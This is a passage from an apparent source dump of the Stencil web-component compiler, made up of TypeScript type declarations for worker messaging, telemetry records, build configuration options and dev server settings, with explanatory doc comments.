A type describing how Stencil may alias an imported type to avoid naming collisions when performing operations such\n * as generating `components.d.ts` files.\n */\nexport interface TypesMemberNameData {\n  /**\n   * The original name of the import before any aliasing was applied.\n   *\n   * i.e. if a component imports a type as follows:\n   * `import { MyType as MyCoolType } from './my-type';`\n   *\n   * the `originalName` would be 'MyType'. If the import is not aliased, then `originalName` and `localName` will be the same.\n   */\n  originalName: string;\n  /**\n   * The name of the type as it's used within a file.\n   */\n  localName: string;\n  /**\n   * An alias that Stencil may apply to the `localName` to avoid naming collisions. This name does not appear in the\n   * file that is using `localName`.\n   */\n  importName?: string;\n  /**\n   * Whether this is a default import/export (e.g., `import MyEnum from './my-enum'`)\n   * vs a named import/export (e.g., `import { MyType } from './my-type'`)\n   */\n  isDefault?: boolean;\n}\n\nexport interface TypesModule {\n  isDep: boolean;\n  tagName: string;\n  tagNameAsPascal: string;\n  htmlElementName: string;\n  component: string;\n  jsx: string;\n  element: string;\n  explicitAttributes: string | null;\n  explicitProperties: string | null;\n  requiredProps: Array<{\n    name: string;\n    type: string;\n    complexType?: ComponentCompilerProperty['complexType'];\n  }> | null;\n}\n\nexport type TypeInfo = {\n  name: string;\n  type: string;\n  optional: boolean;\n  required: boolean;\n  internal: boolean;\n  jsdoc?: string;\n}[];\n\nexport type ChildType = VNode | number | string;\n\nexport type PropsType = VNodeProdData | number | string | null;\n\nexport interface VNodeProdData {\n  key?: string | number;\n  class?: { [className: string]: boolean } | string;\n  className?: { [className: string]: boolean } | string;\n  style?: any;\n  [key: string]: any;\n}\n\n/**\n * An abstraction to bundle up four methods which _may_ be handled by\n * dispatching work to workers running in other OS threads or may be called\n * synchronously. Environment and `CompilerSystem` related setup code will\n * determine which one, but in either case the call sites for these methods can\n * dispatch to this shared interface.\n */\nexport interface CompilerWorkerContext {\n  optimizeCss(inputOpts: OptimizeCssInput): Promise<OptimizeCssOutput>;\n  prepareModule(\n    input: string,\n    minifyOpts: any,\n    transpile: boolean,\n    inlineHelpers: boolean,\n  ): Promise<{ output: string; diagnostics: Diagnostic[]; sourceMap?: SourceMap }>;\n  prerenderWorker(prerenderRequest: PrerenderUrlRequest): Promise<PrerenderUrlResults>;\n  transformCssToEsm(input: TransformCssToEsmInput): Promise<TransformCssToEsmOutput>;\n}\n\n/**\n * The methods that are supported on a {@link CompilerWorkerContext}\n */\nexport type WorkerContextMethod = keyof CompilerWorkerContext;\n\n/**\n * A little type guard which will cause a type error if the parameter `T` does\n * not satisfy {@link CPSerializable} (i.e. if it's not possible to cleanly\n * serialize it for message passing via an IPC channel).\n */\ntype IPCSerializable<T extends CPSerializable> = T;\n\n/**\n * A manifest for a job that a worker thread should carry out, as determined by\n * and dispatched from the main thread. This includes the name of the task to do\n * and any arguments necessary to carry it out properly.\n *\n * This message must satisfy {@link CPSerializable} so it can be sent from the\n * main thread to a worker thread via an IPC channel\n */\nexport type MsgToWorker<T extends WorkerContextMethod> = IPCSerializable<{\n  stencilId: number;\n  method: T;\n  args: Parameters<CompilerWorkerContext[T]>;\n}>;\n\n/**\n * A manifest for a job that a worker thread should carry out, as determined by\n * and dispatched from the main thread. This includes the name of the task to do\n * and any arguments necessary to carry it out properly.\n *\n * This message must satisfy {@link CPSerializable} so it can be sent from the\n * main thread to a worker thread via an IPC channel\n */\nexport type MsgFromWorker<T extends WorkerContextMethod> = IPCSerializable<{\n  stencilId?: number;\n  stencilRtnValue: ReturnType<CompilerWorkerContext[T]>;\n  stencilRtnError: string | null;\n}>;\n\n/**\n * A description of a task which should be passed to a worker in another\n * thread. This interface differs from {@link MsgToWorker} in that it doesn't\n * have to be serializable for transmission through an IPC channel, so we can\n * hold things like a `resolve` and `reject` callback to use when the task\n * completes.\n */\nexport interface CompilerWorkerTask {\n  stencilId: number;\n  inputArgs: any[];\n  resolve: (val: any) => any;\n  reject: (msg: string) => any;\n  retries: number;\n}\n\n/**\n * A handler for IPC messages from the main thread to a worker thread. This\n * involves dispatching an action specified by a {@link MsgToWorker} object to a\n * {@link CompilerWorkerContext}.\n *\n * @param msgToWorker the message to handle\n * @returns the return value of the specified function\n */\nexport type WorkerMsgHandler = <T extends WorkerContextMethod>(\n  msgToWorker: MsgToWorker<T>,\n) => ReturnType<CompilerWorkerContext[T]>;\n\nexport interface TranspileModuleResults {\n  sourceFilePath: string;\n  code: string;\n  map: any;\n  diagnostics: Diagnostic[];\n  moduleFile: Module;\n}\n\nexport interface ValidateTypesResults {\n  diagnostics: Diagnostic[];\n  dirPaths: string[];\n  filePaths: string[];\n}\n\nexport interface TerminalInfo {\n  /**\n   * Whether this is in CI or not.\n   */\n  readonly ci: boolean;\n  /**\n   * Whether the terminal is an interactive TTY or not.\n   */\n  readonly tty: boolean;\n}\n\n/**\n * The task to run in order to collect the duration data point.\n */\nexport type TelemetryCallback = (...args: any[]) => void | Promise<void>;\n\n/**\n * The model for the data that's tracked.\n */\nexport interface TrackableData {\n  arguments: string[];\n  build: string;\n  component_count?: number;\n  config: Config;\n  cpu_model: string | undefined;\n  duration_ms: number | undefined;\n  has_app_pwa_config: boolean;\n  os_name: string | undefined;\n  os_version: string | undefined;\n  packages: string[];\n  packages_no_versions?: string[];\n  rollup: string;\n  stencil: string;\n  system: string;\n  system_major?: string;\n  targets: string[];\n  task: TaskCommand | null;\n  typescript: string;\n  yarn: boolean;\n}\n\n/**\n * Used as the object sent to the server. Value is the data tracked.\n */\nexport interface Metric {\n  name: string;\n  timestamp: string;\n  source: 'stencil_cli';\n  value: TrackableData;\n  session_id: string;\n}\nexport interface TelemetryConfig {\n  'telemetry.stencil'?: boolean;\n  'tokens.telemetry'?: string;\n}\n"
  },
  {
    "path": "src/declarations/stencil-public-compiler.ts",
    "content": "import type { ConfigFlags } from '../cli/config-flags';\nimport type { PrerenderUrlResults, PrintLine } from '../internal';\nimport type { BuildCtx, CompilerCtx } from './stencil-private';\nimport type { JsonDocs } from './stencil-public-docs';\nimport type { ResolutionHandler } from './stencil-public-runtime';\n\nexport * from './stencil-public-docs';\n\n/**\n * https://stenciljs.com/docs/config/\n */\nexport interface StencilConfig {\n  /**\n   * By default, Stencil will attempt to optimize small scripts by inlining them in HTML. Setting\n   * this flag to `false` will prevent this optimization and keep all scripts separate from HTML.\n   */\n  allowInlineScripts?: boolean;\n  /**\n   * By setting `autoprefixCss` to `true`, Stencil will use the appropriate config to automatically\n   * prefix css. For example, developers can write modern and standard css properties, such as\n   * \"transform\", and Stencil will automatically add in the prefixed version, such as \"-webkit-transform\".\n   * As of Stencil v2, autoprefixing CSS is no longer the default.\n   * Defaults to `false`\n   */\n  autoprefixCss?: boolean | any;\n\n  /**\n   * By default, Stencil will statically analyze the application and generate a component graph of\n   * how all the components are interconnected.\n   *\n   * From the component graph it is able to best decide how components should be grouped\n   * depending on their usage with one another within the app.\n   * By doing so it's able to bundle components together in order to reduce network requests.\n   * However, bundles can be manually generated using the bundles config.\n   *\n   * The bundles config is an array of objects that represent how components are grouped together\n   * in lazy-loaded bundles.\n   * This config is rarely needed as Stencil handles this automatically behind the scenes.\n   */\n  bundles?: ConfigBundle[];\n\n  /**\n   * Stencil will cache build results in order to speed up rebuilds.\n   * To disable this feature, set enableCache to false.\n   */\n  enableCache?: boolean;\n  /**\n   * The directory where sub-directories will be created for caching when `enableCache` is set\n   * `true` or if using Stencil's Screenshot Connector.\n   *\n   * @default '.stencil'\n   *\n   * @example\n   *\n   * A Stencil config like the following:\n   * ```ts\n   * export const config = {\n   *  ...,\n   *  enableCache: true,\n   *  cacheDir: '.cache',\n   *  testing: {\n   *    screenshotConnector: 'connector.js'\n   *  }\n   * }\n   * ```\n   *\n   * Will result in the following file structure:\n   * ```tree\n   * stencil-project-root\n   * └── .cache\n   *     ├── .build <-- Where build related file caching is written\n   *     |\n   *     └── screenshot-cache.json <-- Where screenshot caching is written\n   * ```\n   */\n  cacheDir?: string;\n\n  /**\n   * Stencil is traditionally used to compile many components into an app,\n   * and each component comes with its own compartmentalized styles.\n   * However, it's still common to have styles which should be \"global\" across all components and the website.\n   * A global CSS file is often useful to set CSS Variables.\n   *\n   * Additionally, the globalStyle config can be used to precompile styles with Sass, PostCSS, etc.\n   * Below is an example folder structure containing a webapp's global sass file, named app.css.\n   */\n  globalStyle?: string;\n\n  /**\n   * Will generate {@link https://nodejs.org/api/packages.html#packages_exports export map} entry points\n   * for each component in the build when `true`.\n   *\n   * @default false\n   */\n  generateExportMaps?: boolean;\n\n  /**\n   * When the hashFileNames config is set to true, and it is a production build,\n   * the hashedFileNameLength config is used to determine how many characters the file name's hash should be.\n   */\n  hashedFileNameLength?: number;\n\n  /**\n   * During production builds, the content of each generated file is hashed to represent the content,\n   * and the hashed value is used as the filename. If the content isn't updated between builds,\n   * then it receives the same filename. When the content is updated, then the filename is different.\n   *\n   * By doing this, deployed apps can \"forever-cache\" the build directory and take full advantage of\n   * content delivery networks (CDNs) and heavily caching files for faster apps.\n   */\n  hashFileNames?: boolean;\n\n  /**\n   * The namespace config is a string representing a namespace for the app.\n   * For apps that are not meant to be a library of reusable components,\n   * the default of App is just fine. However, if the app is meant to be consumed\n   * as a third-party library, such as Ionic, a unique namespace is required.\n   */\n  namespace?: string;\n\n  /**\n   * Stencil is able to take an app's source and compile it to numerous targets,\n   * such as an app to be deployed on an http server, or as a third-party library\n   * to be distributed on npm. By default, Stencil apps have an output target type of www.\n   *\n   * The outputTargets config is an array of objects, with types of www and dist.\n   */\n  outputTargets?: OutputTarget[];\n\n  /**\n   * The plugins config can be used to add your own rollup plugins.\n   * By default, Stencil does not come with Sass or PostCSS support.\n   * However, either can be added using the plugin array.\n   */\n  plugins?: any[];\n\n  /**\n   * Generate js source map files for all bundles.\n   * Set to `true` to always generate source maps, `false` to never generate source maps.\n   * Set to `'dev'` to only generate source maps when the `--dev` flag is passed.\n   * Defaults to `'dev'`.\n   */\n  sourceMap?: boolean | 'dev';\n\n  /**\n   * The srcDir config specifies the directory which should contain the source typescript files\n   * for each component. The standard for Stencil apps is to use src, which is the default.\n   */\n  srcDir?: string;\n\n  /**\n   * Sets whether or not Stencil should transform path aliases set in a project's\n   * `tsconfig.json` from the assigned module aliases to resolved relative paths.\n   *\n   * This behavior defaults to `true`, but may be opted-out of by setting this flag to `false`.\n   */\n  transformAliasedImportPaths?: boolean;\n  /**\n   * When `true`, Stencil will suppress diagnostics which warn about public members using reserved names\n   * (for example, decorating a method named `focus` with `@Method()`). Defaults to `false`.\n   */\n  suppressReservedPublicNameWarnings?: boolean;\n  /**\n   * When `true`, we will validate a project's `package.json` based on the output target the user has designated\n   * as `isPrimaryPackageOutputTarget: true` in their Stencil config.\n   */\n  validatePrimaryPackageOutputTarget?: boolean;\n\n  /**\n   * Passes custom configuration down to the \"@rollup/plugin-commonjs\" that Stencil uses under the hood.\n   * For further information: https://stenciljs.com/docs/module-bundling\n   */\n  commonjs?: BundlingConfig;\n\n  /**\n   * Passes custom configuration down to the \"@rollup/plugin-node-resolve\" that Stencil uses under the hood.\n   * For further information: https://stenciljs.com/docs/module-bundling\n   */\n  nodeResolve?: NodeResolveConfig;\n\n  /**\n   * Passes custom configuration down to rollup itself, not all rollup options can be overridden.\n   */\n  rollupConfig?: RollupConfig;\n\n  /**\n   * Sets if the ES5 build should be generated or not. Stencil generates a modern build without ES5,\n   * whereas this setting to `true` will also create es5 builds for both dev and prod modes. Setting\n   * `buildEs5` to `prod` will only build ES5 in prod mode. Basically if the app does not need to run\n   * on legacy browsers (IE11 and Edge 18 and below), it's safe to not build ES5, which will also speed\n   * up build times. Defaults to `false`.\n   */\n  buildEs5?: boolean | 'prod';\n\n  /**\n   * Sets if the JS browser files are minified or not. Stencil uses `terser` under the hood.\n   * Defaults to `false` in dev mode and `true` in production mode.\n   */\n  minifyJs?: boolean;\n\n  /**\n   * Sets if the CSS is minified or not.\n   * Defaults to `false` in dev mode and `true` in production mode.\n   */\n  minifyCss?: boolean;\n\n  /**\n   * Forces Stencil to run in `dev` mode if the value is `true` and `production` mode\n   * if it's `false`.\n   *\n   * Defaults to `false` (ie. production) unless the `--dev` flag is used in the CLI.\n   */\n  devMode?: boolean;\n\n  /**\n   * Object to provide a custom logger. By default a `logger` is already provided for the\n   * platform the compiler is running on, such as NodeJS or a browser.\n   */\n  logger?: Logger;\n\n  /**\n   * Config to add extra runtime for DOM features that require more polyfills. Note\n   * that not all DOM APIs are fully polyfilled when using the slot polyfill. These\n   * are opt-in since not all users will require the additional runtime.\n   */\n  extras?: ConfigExtras;\n\n  /**\n   * The hydrated flag identifies if a component and all of its child components\n   * have finished hydrating. This helps prevent any flash of unstyled content (FOUC)\n   * as various components are asynchronously downloaded and rendered. By default it\n   * will add the `hydrated` CSS class to the element. The `hydratedFlag` config can be used\n   * to change the name of the CSS class, change it to an attribute, or change which\n   * type of CSS properties and values are assigned before and after hydrating. This config\n   * can also be used to not include the hydrated flag at all by setting it to `null`.\n   */\n  hydratedFlag?: HydratedFlag | null;\n\n  /**\n   * Ionic prefers to hide all components prior to hydration with a style tag appended\n   * to the head of the document containing some `visibility: hidden;` css rules.\n   *\n   * Disabling this will remove the style tag that sets `visibility: hidden;` on all\n   * un-hydrated web components. This more closely follows the HTML spec, and allows\n   * you to set your own fallback content.\n   *\n   */\n  invisiblePrehydration?: boolean;\n\n  /**\n   * Sets the task queue used by stencil's runtime. The task queue schedules DOM read and writes\n   * across the frames to efficiently render and reduce layout thrashing. By default,\n   * `async` is used. It's recommended to also try each setting to decide which works\n   * best for your use-case. In all cases, if your app has many CPU intensive tasks causing the\n   * main thread to periodically lock-up, it's always recommended to try\n   * [Web Workers](https://stenciljs.com/docs/web-workers) for those tasks.\n   *\n   * - `async`: DOM read and writes are scheduled in the next frame to prevent layout thrashing.\n   *   During intensive CPU tasks it will not reschedule rendering to happen in the next frame.\n   *   `async` is ideal for most apps, and if the app has many intensive tasks causing the main\n   *   thread to lock-up, it's recommended to try [Web Workers](https://stenciljs.com/docs/web-workers)\n   *   rather than the congestion async queue.\n   *\n   * - `congestionAsync`: DOM reads and writes are scheduled in the next frame to prevent layout\n   *   thrashing. When the app is heavily tasked and the queue becomes congested it will then\n   *   split the work across multiple frames to prevent blocking the main thread. However, it can\n   *   also introduce unnecessary reflows in some cases, especially during startup. `congestionAsync`\n   *   is ideal for apps running animations while also simultaneously executing intensive tasks\n   *   which may lock-up the main thread.\n   *\n   * - `immediate`: Makes writeTask() and readTask() callbacks to be executed synchronously. Tasks\n   *   are not scheduled to run in the next frame, but do note there is at least one microtask.\n   *   The `immediate` setting is ideal for apps that do not provide long running and smooth\n   *   animations. Like the async setting, if the app has intensive tasks causing the main thread\n   *   to lock-up, it's recommended to try [Web Workers](https://stenciljs.com/docs/web-workers).\n   */\n  taskQueue?: 'async' | 'immediate' | 'congestionAsync';\n\n  /**\n   * Provide a object of key/values accessible within the app, using the `Env` object.\n   */\n  env?: { [prop: string]: string | undefined };\n\n  docs?: StencilDocsConfig;\n\n  globalScript?: string;\n  srcIndexHtml?: string;\n  /**\n   * Configuration for Stencil's integrated testing (Jest + Puppeteer).\n   *\n   * @deprecated Integrated testing support will be removed in Stencil v5. Migrate spec tests to\n   * [`@stencil/vitest`](https://github.com/stenciljs/vitest) and e2e / browser tests to either\n   * [`@stencil/vitest`](https://github.com/stenciljs/vitest) or\n   * [`@stencil/playwright`](https://github.com/stenciljs/playwright).\n   * See https://github.com/stenciljs/core/issues/6584 for full discussion and migration guidance.\n   */\n  testing?: TestingConfig;\n  maxConcurrentWorkers?: number;\n  preamble?: string;\n  rollupPlugins?: { before?: any[]; after?: any[] };\n\n  entryComponentsHint?: string[];\n  /**\n   * Sets whether Stencil will write files to `dist/` during the build or not.\n   *\n   * By default this value is set to the opposite value of {@link devMode},\n   * i.e. it will be `true` when building for production and `false` when\n   * building for development.\n   */\n  buildDist?: boolean;\n  buildLogFilePath?: string;\n  devInspector?: boolean;\n  devServer?: StencilDevServerConfig;\n  sys?: CompilerSystem;\n  tsconfig?: string;\n  validateTypes?: boolean;\n\n  /**\n   * Sets whether Stencil will watch for changes in the source files and rebuild the project automatically.\n   * @default true\n   */\n  watch?: boolean;\n  /**\n   * External directories to watch for changes. By default, Stencil will watch the root and {@link StencilConfig.srcDir}\n   * directory for changes. If you want to watch additional directories, including e.g. `node_modules`, you can add them here.\n   * @default []\n   */\n  watchExternalDirs?: string[];\n  /**\n   * An array of RegExp patterns that are matched against all source files before adding\n   * to the watch list in watch mode. If the file path matches any of the patterns, when it\n   * is updated, it will not trigger a re-run of tests.\n   */\n  watchIgnoredRegex?: RegExp | RegExp[];\n\n  /**\n   * An array of component tag names to exclude from production builds.\n   * Useful to remove test, demo or experimental components from final output.\n   *\n   * **Note:** Exclusion only applies to production builds (default, or when `--prod` is used).\n   * Development builds (with `--dev` flag) will include all components to support local testing.\n   *\n   * Supports glob patterns for matching multiple components:\n   * - `['demo-*']` - Excludes all components starting with \"demo-\"\n   * - `['*-test', '*-demo']` - Excludes components ending with \"-test\" or \"-demo\"\n   * - `['my-component']` - Excludes a specific component\n   *\n   * Components matching these patterns will be completely excluded from all output targets.\n   *\n   * @example\n   * ```ts\n   * export const config: Config = {\n   *   excludeComponents: ['demo-*', 'test-component', '*-internal'],\n   * };\n   * ```\n   *\n   * @default []\n   */\n  excludeComponents?: string[];\n\n  /**\n   * Set whether unused dependencies should be excluded from the built output.\n   */\n  excludeUnusedDependencies?: boolean;\n  stencilCoreResolvedId?: string;\n}\n\ninterface ConfigExtrasBase {\n  /**\n   * Experimental flag. Projects that use a Stencil library built using the `dist` output target may have trouble lazily\n   * loading components when using a bundler such as Vite or Parcel. Setting this flag to `true` will change how Stencil\n   * lazily loads components in a way that works with additional bundlers. Setting this flag to `true` will increase\n   * the size of the compiled output. Defaults to `false`.\n   * @deprecated This flag has been deprecated in favor of `enableImportInjection`, which provides the same\n   * functionality. `experimentalImportInjection` will be removed in a future major version of Stencil.\n   */\n  experimentalImportInjection?: boolean;\n\n  /**\n   * Projects that use a Stencil library built using the `dist` output target may have trouble lazily\n   * loading components when using a bundler such as Vite or Parcel. Setting this flag to `true` will change how Stencil\n   * lazily loads components in a way that works with additional bundlers. Setting this flag to `true` will increase\n   * the size of the compiled output. Defaults to `false`.\n   */\n  enableImportInjection?: boolean;\n\n  /**\n   * Dispatches component lifecycle events. Mainly used for testing. Defaults to `false`.\n   */\n  lifecycleDOMEvents?: boolean;\n\n  /**\n   * It is possible to assign data to the actual `<script>` element's `data-opts` property,\n   * which then gets passed to Stencil's initial bootstrap. This feature is only required\n   * for very special cases and rarely needed. Defaults to `false`.\n   * @deprecated This option has been deprecated and will be removed in a future major version of Stencil.\n   */\n  scriptDataOpts?: boolean;\n\n  /**\n   * When a component is first attached to the DOM, this setting will wait a single tick before\n   * rendering. This works around an Angular issue, where Angular attaches the elements before\n   * settings their initial state, leading to double renders and unnecessary event dispatches.\n   * Defaults to `false`.\n   */\n  initializeNextTick?: boolean;\n\n  /**\n   * Enables the tagNameTransform option of `defineCustomElements()`, so the component tagName\n   * can be customized at runtime. Defaults to `false`.\n   * @deprecated This option has been deprecated in favour of `setTagTransformer` and `transformTag`. It will be removed in a future major version of Stencil.\n   */\n  tagNameTransform?: boolean;\n\n  /**\n   * Adds `transformTag` calls to css strings and querySelector(All) calls\n   */\n  additionalTagTransformers?: boolean | 'prod';\n\n  // TODO(STENCIL-1086): remove this option when it's the default behavior\n  /**\n   * Experimental flag.\n   * Updates the behavior of scoped components to align more closely with the behavior of the native\n   * Shadow DOM when using `slot`s.\n   * Defaults to `false`.\n   */\n  experimentalScopedSlotChanges?: boolean;\n\n  /**\n   * By default Stencil turns the stylesheet provided to `globalStyle` into a constructable stylesheet\n   * and adds it to each component when rendered on the client which can be useful for sharing styles\n   * efficiently across components.\n   *\n   * If you want Stencil to also add the `globalStyle` to each component when rendering on the server\n   * then set this to `true`. If your `globalStyle` sheet is large then doing this may bloat the size\n   * of your SSR output when using declarative-shadow-dom.\n   *\n   * Setting this to `false` will prevent Stencil from adding any `globalStyle` to each component.\n   *\n   * Defaults to `'client'`.\n   */\n  addGlobalStyleToComponents?: boolean | 'client';\n}\n\n// TODO(STENCIL-914): delete this interface when `experimentalSlotFixes` is the default behavior\ntype ConfigExtrasSlotFixes<ExperimentalFixesEnabled extends boolean, IndividualFlags extends boolean> = {\n  // TODO(STENCIL-914): remove this option when `experimentalSlotFixes` is the default behavior\n  /**\n   * By default, the slot polyfill does not update `appendChild()` so that it appends\n   * new child nodes into the correct child slot like how shadow dom works. This is an opt-in\n   * polyfill for those who need it when using `element.appendChild(node)` and expecting the\n   * child to be appended in the same location shadow dom would. This is not required for\n   * IE11 or Edge 18, but can be enabled if the app is using `appendChild()`. Defaults to `false`.\n   */\n  appendChildSlotFix?: IndividualFlags;\n\n  // TODO(STENCIL-914): remove this option when `experimentalSlotFixes` is the default behavior\n  /**\n   * By default, the runtime does not polyfill `cloneNode()` when cloning a component\n   * that uses the slot polyfill. This is an opt-in polyfill for those who need it.\n   * This is not required for IE11 or Edge 18, but can be enabled if the app is using\n   * `cloneNode()` and unexpected node are being cloned due to the slot polyfill\n   * simulating shadow dom. Defaults to `false`.\n   */\n  cloneNodeFix?: IndividualFlags;\n\n  // TODO(STENCIL-914): remove this option when `experimentalSlotFixes` is the default behavior\n  /**\n   * Experimental flag to align the behavior of invoking `textContent` on a scoped component to act more like a\n   * component that uses the shadow DOM. Defaults to `false`\n   */\n  scopedSlotTextContentFix?: IndividualFlags;\n\n  // TODO(STENCIL-914): remove this option when `experimentalSlotFixes` is the default behavior\n  /**\n   * For browsers that do not support shadow dom (IE11 and Edge 18 and below), slot is polyfilled\n   * to simulate the same behavior. However, the host element's `childNodes` and `children`\n   * getters are not patched to only show the child nodes and elements of the default slot.\n   * Defaults to `false`.\n   */\n  slotChildNodesFix?: IndividualFlags;\n\n  // TODO(STENCIL-914): remove `experimentalSlotFixes` when it's the default behavior\n  /**\n   * Enables all slot-related fixes such as {@link slotChildNodesFix}, and\n   * {@link scopedSlotTextContentFix}.\n   */\n  experimentalSlotFixes?: ExperimentalFixesEnabled;\n};\n\nexport type ConfigExtras = ConfigExtrasBase &\n  (ConfigExtrasSlotFixes<true, true> | ConfigExtrasSlotFixes<false, boolean>);\n\nexport interface Config extends StencilConfig {\n  buildAppCore?: boolean;\n  buildDocs?: boolean;\n  configPath?: string;\n  writeLog?: boolean;\n  devServer?: DevServerConfig;\n  flags?: ConfigFlags;\n  fsNamespace?: string;\n  logLevel?: LogLevel;\n  rootDir?: string;\n  packageJsonFilePath?: string;\n  suppressLogs?: boolean;\n  profile?: boolean;\n  tsCompilerOptions?: any;\n  tsWatchOptions?: any;\n  _isValidated?: boolean;\n  _isTesting?: boolean;\n}\n\n/**\n * A 'loose' type useful for wrapping an incomplete / possible malformed\n * object as we work on getting it comply with a particular Interface T.\n *\n * Example:\n *\n * ```ts\n * interface Foo {\n *   bar: string\n * }\n *\n * function validateFoo(foo: Loose<Foo>): Foo {\n *   let validatedFoo = {\n *     ...foo,\n *     bar: foo.bar || DEFAULT_BAR\n *   }\n *\n *   return validatedFoo\n * }\n * ```\n *\n * Use this when you need to take user input or something from some other part\n * of the world that we don't control and transform it into something\n * conforming to a given interface. For best results, pair with a validation\n * function as shown in the example.\n */\ntype Loose<T extends Object> = Record<string, any> & Partial<T>;\n\n/**\n * A Loose version of the Config interface. This is intended to let us load a partial config\n * and have type information carry though as we construct an object which is a valid `Config`.\n */\nexport type UnvalidatedConfig = Loose<Config>;\n\n/**\n * Helper type to strip optional markers from keys in a type, while preserving other type information for the key.\n * This type takes a union of keys, K, in type T to allow for the type T to be gradually updated.\n *\n * ```typescript\n * type Foo { bar?: number, baz?: string }\n * type ReqFieldFoo = RequireFields<Foo, 'bar'>; // { bar: number, baz?: string }\n * ```\n */\ntype RequireFields<T, K extends keyof T> = T & { [P in K]-?: T[P] };\n\n/**\n * Fields in {@link Config} to make required for {@link ValidatedConfig}\n */\ntype StrictConfigFields = keyof Pick<\n  Config,\n  | 'buildEs5'\n  | 'cacheDir'\n  | 'devMode'\n  | 'devServer'\n  | 'extras'\n  | 'flags'\n  | 'fsNamespace'\n  | 'hashFileNames'\n  | 'hashedFileNameLength'\n  | 'hydratedFlag'\n  | 'logLevel'\n  | 'logger'\n  | 'minifyCss'\n  | 'minifyJs'\n  | 'namespace'\n  | 'outputTargets'\n  | 'packageJsonFilePath'\n  | 'rollupConfig'\n  | 'rootDir'\n  | 'srcDir'\n  | 'srcIndexHtml'\n  | 'sys'\n  | 'testing'\n  | 'transformAliasedImportPaths'\n  | 'validatePrimaryPackageOutputTarget'\n>;\n\n/**\n * A version of {@link Config} that makes certain fields required. This type represents a valid configuration entity.\n * When a configuration is received by the user, it is a bag of unverified data. In order to make stricter guarantees\n * about the data from a type-safety perspective, this type is intended to be used throughout the codebase once\n * validations have occurred at runtime.\n */\nexport type ValidatedConfig = RequireFields<Config, StrictConfigFields> & {\n  sourceMap: boolean;\n};\n\nexport interface HydratedFlag {\n  /**\n   * Defaults to `hydrated`.\n   */\n  name?: string;\n  /**\n   * Can be either `class` or `attribute`. Defaults to `class`.\n   */\n  selector?: 'class' | 'attribute';\n  /**\n   * The CSS property used to show and hide components. Defaults to use the CSS `visibility`\n   * property. Other commonly used CSS properties would be `display` with the `initialValue`\n   * setting as `none`, or `opacity` with the `initialValue` as `0`. Defaults to `visibility`\n   * and the default `initialValue` is `hidden`.\n   */\n  property?: string;\n  /**\n   * This is the CSS value to give all components before it has been hydrated.\n   * Defaults to `hidden`.\n   */\n  initialValue?: string;\n  /**\n   * This is the CSS value to assign once a component has finished hydrating.\n   * This is the CSS value that'll allow the component to show. Defaults to `inherit`.\n   */\n  hydratedValue?: string;\n}\n\nexport interface StencilDevServerConfig {\n  /**\n   * IP address used by the dev server. The default is `0.0.0.0`, which points to all IPv4 addresses\n   * on the local machine, such as `localhost`.\n   */\n  address?: string;\n  /**\n   * Base path to be used by the server. Defaults to the root pathname.\n   */\n  basePath?: string;\n  /**\n   * EXPERIMENTAL!\n   * During development, node modules can be independently requested and bundled, making for\n   * faster build times. This is only available using the Stencil Dev Server throughout\n   * development. Production builds and builds with the `es5` flag will override\n   * this setting to `false`. Default is `false`.\n   */\n  experimentalDevModules?: boolean;\n  /**\n   * If the dev server should respond with gzip compressed content. Defaults to `true`.\n   */\n  gzip?: boolean;\n  /**\n   * When set, the dev server will run via https using the SSL certificate and key you provide\n   * (use `fs` if you want to read them from files).\n   */\n  https?: Credentials;\n  /**\n   * The URL the dev server should first open to. Defaults to `/`.\n   */\n  initialLoadUrl?: string;\n  /**\n   * When `true`, every request to the server will be logged within the terminal.\n   * Defaults to `false`.\n   */\n  logRequests?: boolean;\n  /**\n   * By default, when dev server is started the local dev URL is opened in your default browser.\n   * However, to prevent this URL to be opened change this value to `false`. Defaults to `true`.\n   */\n  openBrowser?: boolean;\n  /**\n   * Sets the server's port. Defaults to `3333`.\n   */\n  port?: number;\n  /**\n   * When set to `true`, the dev server will exit with an error if the specified port is already in use.\n   * When set to `false`, the dev server will automatically try the next available port.\n   * Defaults to `false`.\n   */\n  strictPort?: boolean;\n  /**\n   * When files are watched and updated, by default the dev server will use `hmr` (Hot Module Replacement)\n   * to update the page without a full page refresh. To have the page do a full refresh use `pageReload`.\n   * To disable any reloading, use `null`. Defaults to `hmr`.\n   */\n  reloadStrategy?: PageReloadStrategy;\n  /**\n   * Local path to a NodeJs file with a dev server request listener as the default export.\n   * The user's request listener is given the first chance to handle every request the dev server\n   * receives, and can choose to handle it or instead pass it on to the default dev server\n   * by calling `next()`.\n   *\n   * Below is an example of a NodeJs file the `requestListenerPath` config is using.\n   * The request and response arguments are the same as Node's `http` module and `RequestListener`\n   * callback. https://nodejs.org/api/http.html#http_http_createserver_options_requestlistener\n   *\n   * ```js\n   * module.exports = function (req, res, next) {\n   *    if (req.url === '/ping') {\n   *      // custom response overriding the dev server\n   *      res.setHeader('Content-Type', 'text/plain');\n   *      res.writeHead(200);\n   *      res.end('pong');\n   *    } else {\n   *      // pass request on to the default dev server\n   *      next();\n   *    }\n   * };\n   * ```\n   */\n  requestListenerPath?: string;\n  /**\n   * The root directory to serve the files from.\n   */\n  root?: string;\n  /**\n   * If the dev server should Server-Side Render (SSR) each page, meaning it'll dynamically generate\n   * server-side rendered html on each page load. The `--ssr` flag will most commonly be used with\n   * the`--dev --watch --serve` flags during development. Note that this is for development purposes\n   * only, and the built-in dev server should not be used for production. Defaults to `false`.\n   */\n  ssr?: boolean;\n  /**\n   * If the dev server fails to start up within the given timeout (in milliseconds), the startup will\n   * be canceled. Set to zero to disable the timeout. Defaults to `15000`.\n   */\n  startupTimeout?: number;\n  /**\n   * Whether to use the dev server's websocket client or not. Defaults to `true`.\n   */\n  websocket?: boolean;\n  /**\n   * If the dev server should fork a worker for the server process or not. A singled-threaded dev server\n   * is slower, however it is useful for debugging http requests and responses. Defaults to `true`.\n   */\n  worker?: boolean;\n}\n\nexport interface DevServerConfig extends StencilDevServerConfig {\n  browserUrl?: string;\n  devServerDir?: string;\n  /**\n   * A list of glob patterns like `subdir/*.js`  to exclude from hot-module\n   * reloading updates.\n   */\n  excludeHmr?: string[];\n  historyApiFallback?: HistoryApiFallback;\n  openBrowser?: boolean;\n  prerenderConfig?: string;\n  protocol?: 'http' | 'https';\n  srcIndexHtml?: string;\n\n  /**\n   * Route to be used for the \"ping\" sub-route of the Stencil dev server.\n   * This route will return a 200 status code once the Stencil build has finished.\n   * Setting this to `null` will disable the ping route.\n   *\n   * Defaults to `/ping`\n   */\n  pingRoute?: string | null;\n}\n\nexport interface HistoryApiFallback {\n  index?: string;\n  disableDotRule?: boolean;\n}\n\nexport interface DevServerEditor {\n  id: string;\n  name?: 